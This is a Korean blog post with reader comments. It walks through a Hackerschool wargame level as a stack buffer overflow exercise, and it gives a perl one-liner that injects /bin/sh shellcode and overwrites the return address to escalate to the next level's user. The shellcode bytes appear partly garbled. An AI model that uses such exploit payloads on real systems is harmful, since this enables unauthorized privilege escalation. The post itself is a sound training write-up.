My Study/Exploit2010. 3. 22. 10:04
계속해서 해커스쿨 문제를 풀면서 BOF를 공부하고 있는 저입니다.
하지만 실제 해킹 대회에서는 스택에서 코드실행이 불가능한 문제들이 나오는데.. 
스택에서 코드실행이 가능한 해커스쿨 문제가 큰 도움이 되련지..^^;;

이번 문제를 봐보겠습니다.

코드 실행을 시키니 문장을 입력하라고 나오면서 입력한 것을 그대로 출력시키고 있습니다.
gdb로 코드를 봐보겠습니다.


이번 것도 별거 없습니다. level11은 main함수 인자로 전달 받았지만 이번에는 main 함수 내에서 입력받고 출력하는게 전부 끝납니다.

위 어셈코드를 보면서 스택을 그려보겠습니다. 스택 그림도 level11과 다를께 없습니다.

gets로 전달되는 주소를 보면 buf의 끝부터? 들어오게 됩니다.
그러면 시나리오가 나옵니다.

쉘코드를 입력하고 ebp까지 아무 문자로 덮어씌운다음 ret부분을 buf끝 주소로 바꾼다.

이번 문제도 코드 자체에 setreuid가 있으므로 level11에서 사용했던 쉘코드를 그대로 사용해 주시면 됩니다.

최종 공격 코드입니다.

attackme를 실행시키기 전에
(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x9\x6e\x89\xe3\x50\x53
\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","A"x243,"\x10\xfa\xff\xbf"';cat)|
위와 같은 코드를 넣어주었습니다. 이것은 프로그램 내에서 문자열 입력 받는 함수를 만나면 이것을 입력해 주는 것 같습니다.

level11과 달리 이것은 main함수 내부에서 입력을 받기 때문에 ebp값은 고정되어 있습니다.

이제 공격코드를 실행시켜 보겠습니다.

whoami를 쳤더니 level13이라고 나오고 있습니다. 성공입니다.

사람들 풀이를 보니 egg쉘을 사용했더군요. 사실 전.. egg쉘 사용법을 모릅니다. ;; 원리도 모르구요.
(이 문제를 풀 당시.. 지금은 알아요~ ^^;)

'My Study > Exploit' 카테고리의 다른 글

Hackerschool level15  (0) 2010.03.23
Hackerschool level14  (0) 2010.03.22
Hackerschool level13  (0) 2010.03.22
Hackerschool level12  (3) 2010.03.22
shell 코드 만들어 보기  (14) 2010.03.19
BOF의 개념 ( Hackerschool level11 )  (7) 2010.03.19
Posted by sharememory

댓글을 달아 주세요

  1. 안녕하세요 또 질문이 있어서 이렇게 남깁니다^^

    최종 공격 코드에서 ret부분을 buf 끝 주소로 바꾸는 코드 부분이 있는데 ( \x10\xfa\xff\xbf )
    이 부분의 주소는 어떻게 구한것인가요?
    그리고, 이 부분은 입력한 쉘 코드의 첫 부분을 가리키는 주소인 것으로 알고있는데 제가 잘 이해한게 맞겠지요??

    답변 기다리겠습니다. 좋은 자료 감사합니다.

    2014.06.16 03:03 신고 [ ADDR : EDIT/ DEL : REPLY ]
    • 한지 오래돼서 가물가물하네요 ;ㅋ
      해당 주소는 gdb로 바이너리를 리버싱해 알아낸것 같습니다.
      위 문제는 ASLR 보호기법이 안걸려 있기 때문에 저렇게 값을 지정할 수 있었던거 같네요.

      그리고 리턴 주소에 덮어 씌운 주소는 쉘코드가 있는 버퍼겠지요? :D

      2014.06.17 22:26 신고 [ ADDR : EDIT/ DEL ]
  2. Favicon of https://snmn0827.tistory.com LF0827

    관리자의 승인을 기다리고 있는 댓글입니다

    2014.06.18 04:08 [ ADDR : EDIT/ DEL : REPLY ]